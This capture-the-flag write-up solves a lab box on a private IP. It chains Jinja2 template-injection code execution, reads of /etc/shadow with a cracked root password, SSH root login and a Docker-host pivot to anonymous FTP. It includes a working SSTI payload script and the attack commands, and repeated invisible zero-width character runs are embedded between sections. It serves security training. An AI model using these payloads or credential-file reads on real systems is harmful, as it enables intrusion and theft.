← Back to Writeups
CUSTOMMediumPentest

Umbrella

XESXOR9/2/20263 min read
#pentest#custom#medium#ssti_rce#jinja2_sandbox_escape#shadow_readable_privesc#john_rockyou_bruteforce#docker_host_pivot#anonymous_ftp_access#linux

Umbrella

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-17 | Status: Solved Techniques: ssti_rce, jinja2_sandbox_escape, shadow_readable_privesc, john_rockyou_bruteforce, docker_host_pivot, anonymous_ftp_access

Summary

Task: full-chain Umbrella Corp box — Flask landing with reflected 404 SSTI, world-readable /etc/shadow, Docker container pivot to host FTP. Solution: Jinja2 SSTI RCE via cycler globals, john+rockyou cracks root ($6$) to 'rootless', then anonymous FTP on 172.17.0.1 for last flag part.

Umbrella — Hackerlab

Description

Проникните в систему Umbrella Corporation и найдите то, что они скрывают.

IP: 192.168.2.211 · Points: 1000

English summary: a multi-stage boot2root-style challenge. A Flask/Jinja2 landing page is the entry point; the flag is split into three parts recovered across three stages — web SSTI, SSH privilege escalation, and Docker-to-host FTP pivot.

Analysis

Recon

$ nmap -p- 192.168.2.211
22/tcp  open  ssh      OpenSSH 9.9
80/tcp  open  http     Werkzeug httpd 3.1.3 Python/3.9.22

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Werkzeug httpd ... Python/3.9.22 banner is a strong indicator of a Flask app — and Flask defaults to Jinja2 templating. The site itself is a static-looking Umbrella Corporation landing with Home / About / Contact pages, but the interesting behaviour is in the 404 handler.

Reflected 404 → SSTI

Requesting a non-existent page:

GET /test
→ The requested page "/test" does not exist.

The URL path is reflected into the response body. The classic first probe:

GET /{{7*7}}    (URL-encoded as /%7B%7B7*7%7D%7D)
→ The requested page "/49" does not exist.

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

49 proves the expression was evaluated server-side by Jinja2 → SSTI confirmed.

Solution

Stage 1 — SSTI to RCE (first flag part)

Escape the Jinja2 sandbox via the cycler helper, reach os.popen:

python
#!/usr/bin/env python3
import urllib.parse, requests, re

TARGET = "http://192.168.2.211/"

def rce(cmd: str) -> str:
    payload = (
        '{{ self._TemplateReference__context.cycler.__init__'
        '.__globals__.__builtins__.__import__("os")'
        f'.popen("{cmd}").read() }}}}'
    )
    r = requests.get(TARGET + urllib.parse.quote(payload))
    m = re.search(r'requested page "/(.*?)" does not exist', r.text, re.DOTALL)
    return m.group(1) if m else ""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(rce("id"))
# uid=1000(brandon) gid=1000(brandon) groups=1000(brandon)

print(rce("cat /home/brandon/first_part"))
# CODEBY{REDACTED

Stage 2 — /etc/shadow readable → root via john

An unusual misconfiguration: /etc/shadow is world-readable by brandon.

python
print(rce("cat /etc/passwd"))
print(rce("cat /etc/shadow"))
print(rce("grep PermitRootLogin /etc/ssh/sshd_config"))
# PermitRootLogin yes

Root hash extracted:

root:$6$NCZyGiO0nTbnz6oy$uNxmp4LWpe6Wwoxe5LPtgt3lfx63nFVBH2Cms9my7pGgDEJ2Ro4U1ZuaC85XDfU6vKbfLrRFiwTY.B.gvTVEZ1:...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Crack it locally:

bash
unshadow passwd shadow > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# rootless    (root)

SSH in as root:

bash
sshpass -p 'rootless' ssh -o StrictHostKeyChecking=no root@192.168.2.211

Stage 3 — Container discovery and Docker host pivot

Environment fingerprinting immediately reveals we're in a container, not the real host:

# cat /etc/os-release       → Alpine Linux
# hostname                  → 9f7823146d54      (12-char hex = Docker CID)
# ip a                      → 172.17.0.2/16     (default docker0 bridge)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Therefore the Docker host sits on 172.17.0.1. Install tools inside Alpine and scan:

bash
apk add --no-cache nmap lftp
nmap -sV 172.17.0.1
# 21/tcp  ftp
# 22/tcp  ssh
# 80/tcp  http

Stage 4 — Anonymous FTP → last flag part

bash
lftp -u anonymous, ftp://172.17.0.1 -e 'ls; cat last_part; quit'
# REDACTED}

Concatenating the three pieces:

first_part : CODEBY{REDACTED
middle     : REDACTED}       (actually in last_part)

Full chain: SSTI → file read → crack shadow → SSH root → pivot to Docker host → anonymous FTP. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍